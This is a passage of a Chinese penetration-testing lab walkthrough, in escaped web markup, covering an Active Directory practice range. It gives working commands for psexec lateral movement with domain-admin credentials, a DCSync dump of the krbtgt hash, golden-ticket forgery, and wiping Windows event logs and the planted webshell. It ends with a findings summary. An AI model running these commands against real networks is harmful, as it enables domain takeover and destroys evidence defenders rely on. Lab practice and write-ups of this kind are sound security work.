                                                                                                                                                        \u4f1a\u8bdd\u6743\u9650\u4e3a NT AUTHORITY\\\\SYSTEM，\u76ee\u6807\u4e3b\u673a\u540d ROOT-TVI862UBEH，\u7cfb\u7edf Windows Server 2003 (5.2 Build 3790)，\u67b6\u6784 x86，\u6240\u5c5e\u57df GOD，IP 192.168.52.141\u3002\u653b\u51fb\u673a\u7531\u6b64\u83b7\u5f97\u5728\u5185\u7f51\u7684\u7b2c\u4e8c\u4e2a\u7acb\u8db3\u70b9\u3002<\/p>\n

                                                                                                                                                        \u51ed\u636e\u6a2a\u5411\u5230\u57df\u63a7<\/h3>\n

                                                                                                                                                        Win2003 \u5df2\u7ecf\u62ff\u4e0b，\u8fd8\u5269 138\u3002\u624b\u91cc\u6709 GOD\\\\Administrator \/ Admin123，\u8fd9\u4e00\u53f0\u4e0d\u9700\u8981\u518d\u6253\u6f0f\u6d1e，\u76f4\u63a5\u7528\u51ed\u636e\u6a2a\u5411\u3002<\/p>\n

                                                                                                                                                        \u5148\u9000\u51fa Meterpreter \u4e0a\u4e0b\u6587\u3002\u5728 meterpreter ><\/span><\/span> \u4e0b\u6572 use<\/span><\/span> \u662f\u7528\u6765\u52a0\u8f7d\u6269\u5c55\u7684，\u52a0\u8f7d MSF \u6a21\u5757\u5fc5\u987b\u5148\u56de\u5230 msf \u63d0\u793a\u7b26：<\/p>\n\n\n\n
                                                                                                                                                        \n

                                                                                                                                                        Plain Text<\/span> background<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                                                        \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                                                                                          \n
                                                                                                                                                        • background：\u628a\u5f53\u524d\u4f1a\u8bdd\u6302\u5230\u540e\u53f0，\u63d0\u793a\u7b26\u4ece meterpreter \u56de\u5230 msf<\/li>\n<\/ul>\n
                                                                                                                                                            \n
                                                                                                                                                          • \u4f1a\u8bdd\u4e0d\u4f1a\u65ad\u5f00，\u9700\u8981\u65f6\u7528 sessions -i 1 \u5207\u56de<\/li>\n<\/ul>\n
                                                                                                                                                              \n
                                                                                                                                                            • \u5728 meterpreter \u4e0b\u76f4\u63a5\u6572 use \u4f1a\u62a5 Failed to load extension，\u8fd9\u4e00\u6b65\u5c31\u662f\u4e3a\u4e86\u7ed5\u5f00\u5b83<\/li>\n<\/ul>\n

                                                                                                                                                              \"\"<\/p>\n\n\n\n
                                                                                                                                                              \n

                                                                                                                                                              Plain Text<\/span> use exploit\/windows\/smb\/psexec<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                                                              \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                                                                                                \n
                                                                                                                                                              • use：\u52a0\u8f7d\u6307\u5b9a\u6a21\u5757<\/li>\n<\/ul>\n
                                                                                                                                                                  \n
                                                                                                                                                                • windows\/smb\/psexec：\u901a\u8fc7 SMB \u628a payload \u4e0a\u4f20\u5230\u76ee\u6807\u7684\u7ba1\u7406\u5171\u4eab，\u518d\u6ce8\u518c\u670d\u52a1\u542f\u52a8<\/li>\n<\/ul>\n
                                                                                                                                                                    \n
                                                                                                                                                                  • \u8fd9\u6761\u8def\u5f84\u4f9d\u8d56\u6709\u6548\u51ed\u636e，\u4e0d\u4f9d\u8d56\u6f0f\u6d1e，\u548c\u6c38\u6052\u4e4b\u84dd\u662f\u4e24\u79cd\u601d\u8def<\/li>\n<\/ul>\n

                                                                                                                                                                    \"\"<\/p>\n

                                                                                                                                                                    \u63a5\u7740\u4f9d\u6b21\u6267\u884c：<\/p>\n\n\n\n
                                                                                                                                                                    \n

                                                                                                                                                                    Plain Text<\/span> set RHOSTS 192.168.52.138 set SMBUser Administrator set SMBPass Admin123 set SMBDomain GOD set payload windows\/x64\/meterpreter\/bind_tcp set LPORT 4445 run<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                                                                    \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                                                                                                      \n
                                                                                                                                                                    • RHOSTS：\u76ee\u6807\u5730\u5740，\u4e5f\u5c31\u662f\u57df\u63a7\u3002psexec \u4f1a\u53bb\u8fde\u5b83\u7684 445 \u7aef\u53e3<\/li>\n<\/ul>\n
                                                                                                                                                                        \n
                                                                                                                                                                      • SMBUser \/ SMBPass：mimikatz \u6293\u5230\u7684\u57df\u7ba1\u51ed\u636e<\/li>\n<\/ul>\n
                                                                                                                                                                          \n
                                                                                                                                                                        • SMBDomain：\u8d26\u53f7\u6240\u5c5e\u7684\u57df，\u5199 GOD，\u548c whoami \u56de\u663e\u91cc\u7684 GOD\\\\ \u524d\u7f00\u4e00\u81f4\u3002\u4e09\u4e2a\u53c2\u6570\u8981\u6210\u5957\u914d，\u7f3a SMBDomain \u65f6 MSF \u4f1a\u6309\u672c\u5730\u8d26\u53f7\u53bb\u8ba4\u8bc1，\u7ed3\u679c\u5c31\u662f\u767b\u5f55\u5931\u8d25<\/li>\n<\/ul>\n
                                                                                                                                                                            \n
                                                                                                                                                                          • 138 \u662f Server 2008 R2，\u53ea\u6709 64 \u4f4d\u7248\u672c，payload \u5fc5\u987b\u7528 x64<\/li>\n<\/ul>\n
                                                                                                                                                                              \n
                                                                                                                                                                            • bind_tcp：\u7531\u76ee\u6807\u76d1\u542c\u7aef\u53e3\u3001MSF \u4e3b\u52a8\u53bb\u8fde\u3002Kali \u76f4\u63a5\u8fdb\u4e0d\u4e86\u5185\u7f51，\u53ea\u80fd\u53cd\u8fc7\u6765\u8fde\u3002\u8fd9\u91cc\u7684\u8fde\u63a5\u4f1a\u8d70\u524d\u9762\u5efa\u7acb\u7684 SOCKS \u4ee3\u7406<\/li>\n<\/ul>\n
                                                                                                                                                                                \n
                                                                                                                                                                              • bind \u6a21\u5f0f\u4e0b LPORT \u662f\u201c\u76ee\u6807\u8981\u76d1\u542c\u7684\u7aef\u53e3\u201d<\/li>\n<\/ul>\n
                                                                                                                                                                                  \n
                                                                                                                                                                                • 141 \u5df2\u7ecf\u5360\u4e86 4444，\u8fd9\u91cc\u6362\u6210 4445 \u907f\u514d\u51b2\u7a81<\/li>\n<\/ul>\n
                                                                                                                                                                                    \n
                                                                                                                                                                                  • run：\u6267\u884c\u6a21\u5757<\/li>\n<\/ul>\n
                                                                                                                                                                                      \n
                                                                                                                                                                                    • \u5173\u6ce8\u4e09\u884c\u8f93\u51fa：Authenticating（\u8ba4\u8bc1\u6210\u529f）\u3001Service start timed out（\u6b63\u5e38\u63d0\u793a，payload \u5df2\u6267\u884c）\u3001Meterpreter session 2 opened（\u4f1a\u8bdd\u5efa\u7acb）<\/li>\n<\/ul>\n

                                                                                                                                                                                      \"\"<\/p>\n

                                                                                                                                                                                      psexec \u4ee5 GOD\\\\Administrator \u8eab\u4efd\u901a\u8fc7 445 \u8ba4\u8bc1\u6210\u529f，\u9009\u62e9 PowerShell \u65b9\u5f0f\u542f\u52a8\u670d\u52a1，Service start timed out<\/span><\/span> \u5c5e\u4e8e\u6b63\u5e38\u63d0\u793a，payload \u5df2\u7ecf\u6267\u884c\u3002bind handler \u5efa\u7acb\u540e\u4f20\u9001 stage（248902 \u5b57\u8282），\u8fd4\u56de Meterpreter session 2\u3002\u56e0\u4e3a\u6d41\u91cf\u7ecf\u8fc7 SOCKS，\u4f1a\u8bdd\u5730\u5740\u663e\u793a\u4e3a 127.0.0.1:1080\u3002<\/p>\n

                                                                                                                                                                                      \u81f3\u6b64\u7b2c\u4e8c\u5173\u5b8c\u6210：Win2003 \u901a\u8fc7\u6c38\u6052\u4e4b\u84dd\u62ff\u4e0b，Win2008 \u901a\u8fc7\u57df\u7ba1\u51ed\u636e\u6a2a\u5411\u62ff\u4e0b，\u5185\u7f51\u4e24\u53f0\u4e3b\u673a\u90fd\u5728\u63a7\u5236\u4e4b\u4e0b\u3002<\/p>\n

                                                                                                                                                                                      \u7b2c\u4e09\u5173 \u57df\u6e17\u900f\u4e0e\u6743\u9650\u7ef4\u6301<\/h2>\n

                                                                                                                                                                                      \u786e\u8ba4\u57df\u63a7\u8eab\u4efd\u5e76\u6293\u53d6 krbtgt \u54c8\u5e0c<\/h3>\n

                                                                                                                                                                                      Session 2 \u843d\u5728 138 \u4e0a，\u5148\u786e\u8ba4\u62ff\u5230\u7684\u786e\u5b9e\u662f\u57df\u63a7，\u518d\u4ece\u5b83\u8eab\u4e0a\u53d6 krbtgt\u3002<\/p>\n\n\n\n
                                                                                                                                                                                      \n

                                                                                                                                                                                      Plain Text<\/span> getuid<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                                                                                      \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                                                                                                                        \n
                                                                                                                                                                                      • getuid：\u67e5\u770b\u5f53\u524d\u4f1a\u8bdd\u8eab\u4efd<\/li>\n<\/ul>\n
                                                                                                                                                                                          \n
                                                                                                                                                                                        • \u57df\u63a7\u4e0a\u7684 psexec \u4f1a\u8bdd\u901a\u5e38\u662f NT AUTHORITY\\\\SYSTEM<\/li>\n<\/ul>\n

                                                                                                                                                                                          \"\"<\/p>\n\n\n\n
                                                                                                                                                                                          \n

                                                                                                                                                                                          Plain Text<\/span> sysinfo<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                                                                                          \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                                                                                                                            \n
                                                                                                                                                                                          • sysinfo：\u786e\u8ba4\u4e3b\u673a\u540d\u3001\u7cfb\u7edf\u7248\u672c\u548c\u67b6\u6784<\/li>\n<\/ul>\n
                                                                                                                                                                                              \n
                                                                                                                                                                                            • \u4e3b\u673a\u540d\u5e94\u8be5\u662f OWA，\u7248\u672c\u662f Windows Server 2008 R2，\u67b6\u6784 x64<\/li>\n<\/ul>\n

                                                                                                                                                                                              \"\"<\/p>\n

                                                                                                                                                                                              \u63a5\u7740\u52a0\u8f7d kiwi：<\/p>\n\n\n\n
                                                                                                                                                                                              \n

                                                                                                                                                                                              Plain Text<\/span> load kiwi<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                                                                                              \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                                                                                                                                \n
                                                                                                                                                                                              • kiwi：MSF \u5bf9 mimikatz \u7684\u5c01\u88c5，\u52a0\u8f7d\u4e4b\u540e\u624d\u80fd\u8c03\u7528 mimikatz \u7cfb\u5217\u547d\u4ee4<\/li>\n<\/ul>\n
                                                                                                                                                                                                  \n
                                                                                                                                                                                                • \u52a0\u8f7d\u6210\u529f\u4f1a\u63d0\u793a Kiwi loaded<\/li>\n<\/ul>\n

                                                                                                                                                                                                  \"\"<\/p>\n\n\n\n
                                                                                                                                                                                                  \n

                                                                                                                                                                                                  Plain Text<\/span> kiwi_cmd lsadump::dcsync \/domain:god.org \/user:krbtgt<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                                                                                                  \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                                                                                                                                    \n
                                                                                                                                                                                                  • lsadump::dcsync：\u6a21\u62df\u57df\u63a7\u4e4b\u95f4\u7684\u590d\u5236\u8bf7\u6c42，\u5411 DC \u7d22\u8981\u6307\u5b9a\u8d26\u53f7\u7684\u51ed\u636e<\/li>\n<\/ul>\n
                                                                                                                                                                                                      \n
                                                                                                                                                                                                    • \/domain:god.org：\u76ee\u6807\u57df<\/li>\n<\/ul>\n
                                                                                                                                                                                                        \n
                                                                                                                                                                                                      • \/user:krbtgt：\u8981\u5bfc\u51fa\u7684\u8d26\u53f7<\/li>\n<\/ul>\n
                                                                                                                                                                                                          \n
                                                                                                                                                                                                        • \u8fd9\u6761\u547d\u4ee4\u8981\u6c42\u57df\u7ba1\u6743\u9650，\u5f53\u524d\u662f SYSTEM，\u6ee1\u8db3\u6761\u4ef6<\/li>\n<\/ul>\n

                                                                                                                                                                                                          \"\"<\/p>\n

                                                                                                                                                                                                          \"\"<\/p>\n

                                                                                                                                                                                                          dcsync \u6210\u529f\u5bfc\u51fa krbtgt \u51ed\u636e，NTLM \u54c8\u5e0c\u4e3a 58e91a5ac358d86513ab224312314061，Object Security ID \u4e3a S-1-5-21-2952760202-1353902439-2381784089-502，\u53bb\u6389\u672b\u5c3e\u7684 RID 502 \u5f97\u5230\u57df SID S-1-5-21-2952760202-1353902439-2381784089\u3002\u8f93\u51fa\u4e2d\u8fd8\u5e26\u51fa\u4e86 AES256\u3001AES128\u3001DES\u3001RC4 \u56db\u7ec4 Kerberos \u5bc6\u94a5，\u505a\u9ec4\u91d1\u7968\u636e\u7528 RC4（NTLM）\u8fd9\u4e00\u7ec4\u5373\u53ef\u3002<\/p>\n

                                                                                                                                                                                                          \u4f2a\u9020\u9ec4\u91d1\u7968\u636e<\/h3>\n

                                                                                                                                                                                                          \u9ec4\u91d1\u7968\u636e\u7684\u672c\u8d28，\u662f\u7528 krbtgt \u7684\u54c8\u5e0c\u81ea\u5df1\u7b7e\u4e00\u5f20 TGT\u3002\u7968\u636e\u91cc\u7684\u7528\u6237\u3001\u7ec4\u3001\u6743\u9650\u90fd\u53ef\u4ee5\u968f\u4fbf\u5199，\u57df\u63a7\u6536\u5230\u540e\u7528 krbtgt \u54c8\u5e0c\u9a8c\u7b7e，\u9a8c\u8fc7\u5c31\u8ba4\u3002<\/p>\n\n\n\n
                                                                                                                                                                                                          \n

                                                                                                                                                                                                          Plain Text<\/span> kiwi_cmd kerberos::golden \/user:Administrator \/domain:god.org \/sid:S-1-5-21-2952760202-1353902439-2381784089 \/krbtgt:58e91a5ac358d86513ab224312314061 \/ptt<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                                                                                                          \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                                                                                                                                            \n
                                                                                                                                                                                                          • kerberos::golden：\u6784\u9020\u9ec4\u91d1\u7968\u636e<\/li>\n<\/ul>\n
                                                                                                                                                                                                              \n
                                                                                                                                                                                                            • \/user：\u7968\u636e\u91cc\u4f2a\u9020\u7684\u7528\u6237\u540d，\u8fd9\u91cc\u7528 Administrator<\/li>\n<\/ul>\n
                                                                                                                                                                                                                \n
                                                                                                                                                                                                              • \/domain：\u76ee\u6807\u57df\u540d<\/li>\n<\/ul>\n
                                                                                                                                                                                                                  \n
                                                                                                                                                                                                                • \/sid：\u57df SID，\u6ce8\u610f\u662f\u4e0d\u5e26 RID \u7684\u90a3\u4e00\u6bb5<\/li>\n<\/ul>\n
                                                                                                                                                                                                                    \n
                                                                                                                                                                                                                  • \/krbtgt：krbtgt \u7684 NTLM \u54c8\u5e0c<\/li>\n<\/ul>\n
                                                                                                                                                                                                                      \n
                                                                                                                                                                                                                    • \/ptt：pass-the-ticket，\u751f\u6210\u540e\u76f4\u63a5\u6ce8\u5165\u5f53\u524d\u4f1a\u8bdd\u7684\u767b\u5f55\u51ed\u636e，\u4e0d\u843d\u5730\u6587\u4ef6<\/li>\n<\/ul>\n

                                                                                                                                                                                                                      \"\"<\/p>\n

                                                                                                                                                                                                                      \u9a8c\u8bc1\u7968\u636e\u662f\u5426\u6ce8\u5165\u6210\u529f：<\/p>\n\n\n\n
                                                                                                                                                                                                                      \n

                                                                                                                                                                                                                      Plain Text<\/span> kiwi_cmd kerberos::list<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                                                                                                                      \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                                                                                                                                                        \n
                                                                                                                                                                                                                      • kerberos::list：\u5217\u51fa\u5f53\u524d\u767b\u5f55\u4f1a\u8bdd\u91cc\u6301\u6709\u7684 Kerberos \u7968\u636e<\/li>\n<\/ul>\n
                                                                                                                                                                                                                          \n
                                                                                                                                                                                                                        • \u80fd\u770b\u5230\u4e00\u6761\u7528\u6237\u4e3a Administrator\u3001\u57df\u4e3a GOD.ORG \u7684\u7968\u636e，\u8bf4\u660e\u6ce8\u5165\u6210\u529f<\/li>\n<\/ul>\n

                                                                                                                                                                                                                          \u7528\u8fd9\u5f20\u7968\u636e\u8bbf\u95ee\u57df\u63a7\u7684\u7ba1\u7406\u5171\u4eab：<\/p>\n\n\n\n
                                                                                                                                                                                                                          \n

                                                                                                                                                                                                                          Plain Text<\/span> shell dir \\\\\\\\192.168.52.138\\\\c$<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                                                                                                                          \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                                                                                                                                                            \n
                                                                                                                                                                                                                          • \u5e26\u7968\u636e\u8bbf\u95ee\u57df\u63a7\u7684 C$ \u5171\u4eab<\/li>\n<\/ul>\n
                                                                                                                                                                                                                              \n
                                                                                                                                                                                                                            • \u80fd\u5217\u51fa\u76ee\u5f55\u5185\u5bb9，\u8bf4\u660e\u4f2a\u9020\u7684 TGT \u88ab\u57df\u63a7\u8ba4\u53ef，\u6743\u9650\u7ef4\u6301\u6210\u7acb<\/li>\n<\/ul>\n

                                                                                                                                                                                                                              \"\"<\/p>\n

                                                                                                                                                                                                                              kerberos::golden \u6784\u9020\u6210\u529f，\u7968\u636e\u91cc\u7684\u7528\u6237\u662f Administrator\u3001\u57df\u662f god.org\u3001User Id \u4e3a 500，\u7ec4\u5217\u8868\u91cc\u5e26\u4e0a\u4e86 512（Domain Admins）\u3001518（Schema Admins）\u3001519（Enterprise Admins）\u3001520（Group Policy Creator Owners），ServiceKey \u663e\u793a\u7528 krbtgt \u7684 rc4_hmac_nt \u7b7e\u540d\u3002\u6700\u540e\u63d0\u793a successfully submitted for current session，\u8bf4\u660e\u7968\u636e\u5df2\u7ecf\u6ce8\u5165\u5f53\u524d\u767b\u5f55\u4f1a\u8bdd\u3002<\/p>\n

                                                                                                                                                                                                                              shell \u540e\u9762\u5e26\u53c2\u6570\u65f6，meterpreter \u6253\u5f00\u7684\u662f\u4ea4\u4e92\u5f0f shell，\u5e76\u4e0d\u4f1a\u6267\u884c\u8be5\u547d\u4ee4\u3002\u9000\u5230 C:\\\\Windows\\\\system32> \u63d0\u793a\u7b26\u540e，\u76f4\u63a5\u8f93\u5165：<\/p>\n\n\n\n
                                                                                                                                                                                                                              \n

                                                                                                                                                                                                                              Plain Text<\/span> dir \\\\\\\\192.168.52.138\\\\c$<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                                                                                                                              \"\"<\/p>\n

                                                                                                                                                                                                                              \u5e26\u7968\u636e\u8bbf\u95ee \\\\192.168.52.138\\\\c$，\u6210\u529f\u5217\u51fa\u57df\u63a7 C \u76d8\u76ee\u5f55，\u5305\u62ec inetpub\u3001Program Files\u3001Users\u3001Windows \u7b49，\u8bf4\u660e\u57df\u63a7\u8ba4\u53ef\u4e86\u8fd9\u5f20\u4f2a\u9020\u7684 TGT，\u6743\u9650\u7ef4\u6301\u6210\u7acb\u3002<\/p>\n

                                                                                                                                                                                                                              \u75d5\u8ff9\u6e05\u7406<\/h3>\n

                                                                                                                                                                                                                              \u62ff\u5230\u6700\u9ad8\u6743\u9650\u4e4b\u540e，\u6536\u5c3e\u8981\u628a\u7559\u4e0b\u7684\u4e1c\u897f\u5904\u7406\u6389\u3002\u9776\u573a\u91cc\u4e0d\u505a\u4e5f\u4e0d\u5f71\u54cd，\u4f46\u771f\u5b9e\u9879\u76ee\u5fc5\u987b\u505a\u3002<\/p>\n

                                                                                                                                                                                                                              \u5148\u5728 138 \u7684 shell \u91cc\u6e05\u65e5\u5fd7：<\/p>\n\n\n\n
                                                                                                                                                                                                                              \n

                                                                                                                                                                                                                              Plain Text<\/span> wevtutil cl security wevtutil cl system wevtutil cl application<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                                                                                                                              \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                                                                                                                                                                \n
                                                                                                                                                                                                                              • wevtutil：Windows \u4e8b\u4ef6\u65e5\u5fd7\u7ba1\u7406\u5de5\u5177<\/li>\n<\/ul>\n
                                                                                                                                                                                                                                  \n
                                                                                                                                                                                                                                • cl：clear，\u6e05\u7a7a\u6307\u5b9a\u65e5\u5fd7<\/li>\n<\/ul>\n
                                                                                                                                                                                                                                    \n
                                                                                                                                                                                                                                  • security \/ system \/ application：\u5206\u522b\u5bf9\u5e94\u5b89\u5168\u3001\u7cfb\u7edf\u3001\u5e94\u7528\u7a0b\u5e8f\u4e09\u6761\u65e5\u5fd7<\/li>\n<\/ul>\n
                                                                                                                                                                                                                                      \n
                                                                                                                                                                                                                                    • \u6a2a\u5411\u79fb\u52a8\u3001\u670d\u52a1\u521b\u5efa\u3001\u7968\u636e\u4f7f\u7528\u90fd\u4f1a\u5728\u8fd9\u4e09\u6761\u65e5\u5fd7\u91cc\u7559\u4e0b\u8bb0\u5f55<\/li>\n<\/ul>\n

                                                                                                                                                                                                                                      \"\"<\/p>\n

                                                                                                                                                                                                                                      138 \u7684\u65e5\u5fd7\u6e05\u7406\u5b8c\u540e，\u9000\u51fa shell \u5e76\u5207\u5230 141\u3002141 \u662f Server 2003，\u6ca1\u6709 wevtutil（\u8be5\u547d\u4ee4\u4ece Vista \/ Server 2008 \u624d\u5f00\u59cb\u63d0\u4f9b），\u6539\u7528 Meterpreter \u81ea\u5e26\u7684 clearev：<\/p>\n\n\n\n
                                                                                                                                                                                                                                      \n

                                                                                                                                                                                                                                      Plain Text<\/span> exit clearev<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                                                                                                                                      \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                                                                                                                                                                        \n
                                                                                                                                                                                                                                      • exit：\u9000\u51fa 138 \u7684 shell，\u56de\u5230 meterpreter<\/li>\n<\/ul>\n
                                                                                                                                                                                                                                          \n
                                                                                                                                                                                                                                        • clearev：\u6e05\u4e09\u6761\u65e5\u5fd7<\/li>\n<\/ul>\n

                                                                                                                                                                                                                                          \"\"<\/p>\n

                                                                                                                                                                                                                                          141 \u6e05\u5b8c\u4e86：Application 372 \u6761\u3001System 677 \u6761\u3001Security 581 \u6761\u3002<\/p>\n

                                                                                                                                                                                                                                          \u63a5\u4e0b\u6765\u6e05 Win7 \u4e0a\u7684\u843d\u5730\u6587\u4ef6\u3002\u8fd9\u91cc\u6709\u4e00\u4e2a\u987a\u5e8f\u95ee\u9898：cmd.php<\/span><\/span> \u662f\u7531 MySQL \u7684 general_log \u5199\u51fa\u6765\u7684，\u5982\u679c\u53ea\u5220\u6587\u4ef6\u800c\u4e0d\u5173\u95ed\u65e5\u5fd7，MySQL \u4f1a\u7ee7\u7eed\u5f80\u90a3\u4e2a\u8def\u5f84\u5199\u5165，\u6587\u4ef6\u4f1a\u7acb\u523b\u91cd\u65b0\u751f\u6210\u3002<\/p>\n

                                                                                                                                                                                                                                          \u5148\u767b\u5f55 phpMyAdmin，\u5173\u95ed\u65e5\u5fd7：<\/p>\n\n\n\n
                                                                                                                                                                                                                                          \n

                                                                                                                                                                                                                                          Plain Text<\/span> set global general_log = 'off';<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                                                                                                                                          \u547d\u4ee4\u62c6\u89e3\u89e3\u91ca：<\/p>\n

                                                                                                                                                                                                                                            \n
                                                                                                                                                                                                                                          • \u5173\u95ed\u901a\u7528\u67e5\u8be2\u65e5\u5fd7\u540e，MySQL \u4e0d\u518d\u5f80 cmd.php \u91cc\u5199\u5185\u5bb9<\/li>\n<\/ul>\n
                                                                                                                                                                                                                                              \n
                                                                                                                                                                                                                                            • \u53ea\u6709\u5173\u95ed\u65e5\u5fd7\u540e\u518d\u5220\u6587\u4ef6，\u6587\u4ef6\u624d\u4e0d\u4f1a\u88ab\u91cd\u65b0\u521b\u5efa<\/li>\n<\/ul>\n

                                                                                                                                                                                                                                              \"\"<\/p>\n

                                                                                                                                                                                                                                              \u518d\u56de\u8681\u5251，\u628a C:\\\\phpStudy\\\\WWW\\\\cmd.php<\/span><\/span> \u5220\u6389\u3002<\/p>\n

                                                                                                                                                                                                                                              \"\"<\/p>\n

                                                                                                                                                                                                                                              \u987a\u624b\u68c0\u67e5\u4e00\u4e0b\u6709\u6ca1\u6709\u5176\u4ed6\u6b8b\u7559，\u5728 138 \u7684 shell \u91cc\u770b\u4e34\u65f6\u76ee\u5f55：<\/p>\n\n\n\n
                                                                                                                                                                                                                                              \n

                                                                                                                                                                                                                                              Plain Text<\/span> shell dir C:\\\\WINDOWS dir C:\\\\WINDOWS\\\\Temp<\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

                                                                                                                                                                                                                                              \"\"<\/p>\n

                                                                                                                                                                                                                                              \"\"<\/p>\n

                                                                                                                                                                                                                                              \u68c0\u67e5\u4e34\u65f6\u76ee\u5f55，C:\\\\WINDOWS\\\\Temp \u4e0b\u53ea\u6709\u955c\u50cf\u81ea\u5e26\u7684 0 \u5b57\u8282\u7a7a\u6587\u4ef6，%TEMP% \u4e3a\u7a7a，\u6ca1\u6709\u672c\u6b21\u653b\u51fb\u4ea7\u751f\u7684\u6b8b\u7559\u3002\u6c38\u6052\u4e4b\u84dd\u4e0a\u4f20\u7684 XVGQaUBv.exe \u5728\u5229\u7528\u7ed3\u675f\u65f6\u5df2\u7531\u6a21\u5757\u5220\u9664，141 \u65e0\u9700\u989d\u5916\u5904\u7406\u3002<\/p>\n

                                                                                                                                                                                                                                              \u6d4b\u8bd5\u7ed3\u8bba<\/h2>\n

                                                                                                                                                                                                                                              \u00a0\u00a0\u00a0 \u8fd9\u6b21\u6d4b\u8bd5\u4ece\u5916\u7f51 Web \u5165\u53e3\u4e00\u8def\u6253\u5230\u4e86\u57df\u63a7，\u4e09\u5173\u7684\u76ee\u6807\u5168\u90e8\u5b8c\u6210\u3002\u7b2c\u4e00\u5173\u5728 Win7 \u4e0a\u7528 phpMyAdmin \u7684 root\/root \u8fdb\u540e\u53f0，\u501f general_log \u5199\u9a6c\u62ff\u5230 Webshell，\u518d\u4e0a\u7ebf Beacon；\u7b2c\u4e8c\u5173\u5728 Win7 \u4e0a\u6293\u5230\u57df\u7ba1\u51ed\u636e，\u642d SOCKS \u96a7\u9053\u7528\u6c38\u6052\u4e4b\u84dd\u62ff\u4e0b 2003，\u53c8\u7528\u540c\u4e00\u7ec4\u51ed\u636e psexec \u62ff\u4e0b 2008；\u7b2c\u4e09\u5173\u5728\u57df\u63a7\u4e0a dcsync \u51fa krbtgt \u54c8\u5e0c，\u4f2a\u9020\u9ec4\u91d1\u7968\u636e\u8bbf\u95ee\u7ba1\u7406\u5171\u4eab，\u6700\u540e\u6e05\u7406\u65e5\u5fd7\u548c\u843d\u5730\u6587\u4ef6\u3002\u6574\u6761\u94fe\u6ca1\u6709\u7528 0day，\u9760\u7684\u662f\u5f31\u53e3\u4ee4\u3001\u914d\u7f6e\u4e0d\u5f53\u548c\u8865\u4e01\u7f3a\u5931\u3002<\/p>\n

                                                                                                                                                                                                                                              \u00a0\u00a0\u00a0 \u6f0f\u6d1e\u4e3b\u8981\u95ee\u9898\u6709\u4e09\u5904：\u4e00\u662f\u8fb9\u754c Web \u670d\u52a1\u4f7f\u7528 root\/root \u5f31\u53e3\u4ee4，phpMyAdmin \u76f4\u63a5\u66b4\u9732\u5728 80 \u7aef\u53e3，\u653b\u51fb\u8005\u4e0d\u9700\u8981\u4efb\u4f55\u6f0f\u6d1e\u5c31\u80fd\u8fdb\u6570\u636e\u5e93\u540e\u53f0；\u4e8c\u662f Web \u670d\u52a1\u4ee5\u57df\u7ba1\u7406\u5458\u8d26\u53f7\u8fd0\u884c，Web \u5c42\u4e00\u65e6\u88ab\u7a81\u7834，\u6743\u9650\u76f4\u63a5\u7b49\u540c\u4e8e\u57df\u7ba1，\u8fd9\u662f\u6574\u6761\u94fe\u4e0a\u6700\u5feb\u7684\u4e00\u73af；\u4e09\u662f\u5185\u7f51\u4e3b\u673a\u8865\u4e01\u7f3a\u5931，192.168.52.141 \u5b58\u5728 MS17-010，\u540c\u65f6\u57df\u5185\u8d26\u53f7\u53e3\u4ee4\u5f3a\u5ea6\u4e0d\u8db3\u3001\u5b58\u5728\u590d\u7528，\u4e00\u53f0\u673a\u5668\u5931\u9677\u540e\u53ef\u4ee5\u8fc5\u901f\u6a2a\u5411\u5230\u5168\u57df\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"

                                                                                                                                                                                                                                              \u57fa\u672c\u4fe1\u606f
                                                                                                                                                                                                                                              \n\u6d4b\u8bd5\u73af\u5883 Plain Text \u7cfb\u7edf\u73af\u5883 \u6e17\u900f\u673a：kali \u9776 \u673a：\u90e8\u7f72\u5230\u865a\u62df\u673a\u4e0a\u7684 Win7（\u8fb9\u754c\u4e3b\u673a）\u3001Win2003（\u5185\u7f51\u6210\u5458\u670d\u52a1\u5668）\u3001Win2008（\u57df\u63a7 god.org） \u7f51\u7edc：\u5916\u7f51\u4e3a NAT \u7f51\u6bb5，\u5185\u7f51\u4e3a\u4ec5\u4e3b\u673a\u7f51\u6bb5 192.168.52.0\/24
